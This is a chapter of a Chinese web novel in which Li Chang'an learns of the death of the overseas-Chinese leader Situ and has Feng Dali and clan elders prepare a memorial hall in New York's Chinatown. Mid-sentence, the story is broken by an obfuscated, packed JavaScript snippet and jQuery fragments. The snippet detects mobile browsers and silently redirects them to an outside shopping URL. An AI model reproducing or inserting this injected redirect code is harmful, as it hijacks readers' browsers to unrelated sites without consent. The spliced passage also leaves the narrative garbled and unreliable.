回到家已经是深夜，李长安简单的冲了一个澡，直接就睡了过去。


    第二天，李长安难得的没有早起，床头柜上那台造型典雅的电话铃声，划破了卧室的静谧。


    李长安几乎是瞬间睁眼，睡眠带来的松弛感在百分之一秒内褪去，眼神恢复清明。他没有立刻去接，而是让铃声又响了两下，在这短暂的空隙里，迅速过滤了几个可能在这时直接拨通他私人专线的人物和事件。然后，他才伸出手，拿起了听筒。


    “喂。”


    “长安，是我，大力。”电话那头传来冯大力的声音，带着一种刻意压制的沉重，以及长途电话特有的细微杂音。


    “司徒大佬出事了？”李长安心想冯大力打电话给自己，很可能是为了司徒大佬。


    电话那头沉默了一瞬，仿佛在组织最难开口的语言。


    然后，冯大力的声音才再次响起，每个字都吐得清晰而缓慢，确保没有歧义：“刚收到的确切消息。司徒……司徒大佬，今天凌晨三点二十分，在北平协和医院，因病去世了。”


    房间里的空气仿佛凝固了一下。


    李长安心想虽然有自己这个蝴蝶在，该来的还是会来。


    这位一生跨越晚清、民国和新华国，见证了现代华国沧桑巨变的华侨领袖，走到了生命的尽头。


    “知道了。”


    李长安的声音透过听筒传出，平静得听不出任何波澜。


    短暂的停顿后，他的声音再次响起，清晰而具有指令性：“大力，以全米致公党的名义，即刻在纽约中华公所礼堂筹备一场公开的悼念活动。时间定在三天后下午两点，要庄重肃穆。我会第一个致悼词。”


    “明白，老板。流程和邀请范围我按最高规格来安排，确保各界侨领都能到场。”冯大力立刻回应，电话那头传来纸笔记录的细微声响。


    “悼词我会亲自准备。现场布置和接待事宜，由你全权负责，务必妥当。”


    “您放心，我一定办好。”冯大力郑重承诺。


    “嗯。有什么不懂的事情可以问问六叔。”李长安说完，挂断了电话。


    电话挂断后，纽约唐人街的中华公所便迅速行动了起来。


    冯大力放下电话，立刻召集了致公党在纽约的一干得力人手和中华公所的几位主事。


    没有过多寒暄，指令清晰下达：中华公所礼堂即日起闭门，开始布置司徒大佬的悼念灵堂。


    消息像水波般在狭长而拥挤的街道间荡开。很快，几辆不起眼的厢式货车停在了中华公所侧门。车门打开，卸下的不是寻常货物，而是成匹质地优良的素白绸布、黑纱，以及大量用于制作花圈、挽联的纸张、竹架和白色菊花。


    冯大力没有立刻开始动手布置。


    小小的议事厅内茶烟袅袅。冯大力将李长安的要求和自己的初步想法说完，便恭敬请教。六叔与其他两位老人相互看了看，低声交换了几句。


    “灵堂坐向，须得正东，这是老规矩，寓意魂归故里，面向朝阳。”一位须发皆白的老人率先开口。


    “没错，”六叔点点头，补充道，“还有花圈、挽联的摆放次序，哪些社团该靠前，哪些情分要额外体现，这里头都有讲究，不能乱了辈分和渊源。”


    毕竟是洪门，还是很讲究辈分这个东西的。


    “挽联的用词也得斟酌，”另一位老人沉吟道，“致公党总部、各侨团、还有外埠乃至华盛顿可能来的唁电，称呼和哀荣的尺度各有不同，需得统一考量，方能既显哀荣，又不失体统。”


    几位老人你一言我一语，将一场传统悼念仪式需要注意的关窍、忌讳、以及如何体现对逝者最高尊重的同时，又照顾到现存各方关系的细节，逐一厘清。冯大力凝神静听，不时点头，将要点牢记于心。这场简短的商议，不仅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118307|176327||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仅是为了布置一个灵堂，更是为了确认和遵循一套维系侨社深层秩序的无形规则。


    商议既定，众人心中有了准绳，布置工作才真正全面铺开。


    礼堂内部，原有的活动陈设被小心移开。高高的穹顶下，工人们按照方才议定的方向，搭起了坚实的木质框架。冯大力亲自站在台下指挥，目光如炬，依据老人们的提点，不放过任何细节。


    “这边，再高一点，要正，朝向务必准确。”他指着正在悬挂的巨大黑色帷幕，“司徒先生的遗像明天一早送到，尺寸很大，背景必须庄重、平整。”


    几个老师傅小心翼翼地将大幅素白绸布展开，覆盖在礼堂正前方的整面墙壁上。那纯然的白色，仿佛一道肃穆的屏障，隔绝了外界的喧嚣，也定下了整个空间的基调。白布边缘，厚重的黑纱被仔细地固定、垂下，形成简洁而有力的边框。


    更多的白布被裁剪，覆盖在讲台、遗像预设台以及准备放置各界所赠花圈的条案上。空气中飘散着新布特有的淡淡气味，混合着木质框架的清香。


    没有**声喧哗，只有工具偶尔的轻响、布料抖动的窸窣，以及冯大力压低了嗓音、却依据明确规则的指令。


    “挽联用的长案摆这里，左右对称，预留出足够的空间。”


    “花圈区按方才议定的次序预留位置，通道务必保持宽敞。”


    “灯光，要调整，不能用平时的亮白，调柔和些，带一点暖黄，但要足够照亮遗像和挽联，显得庄重温润。”


    门外，得到通知的各侨团负责人开始陆续派人前来探问，或送上初步的奠仪。


    冯大力特意安排了两位素来稳重、熟悉各路人马的老华侨在偏厅接待，既不失礼数，又避免了闲杂人等进入正在紧张布置的主礼堂。


    整个中华公所，在一种肃穆而有序的节奏中，逐渐被一片哀荣的素白所笼罩。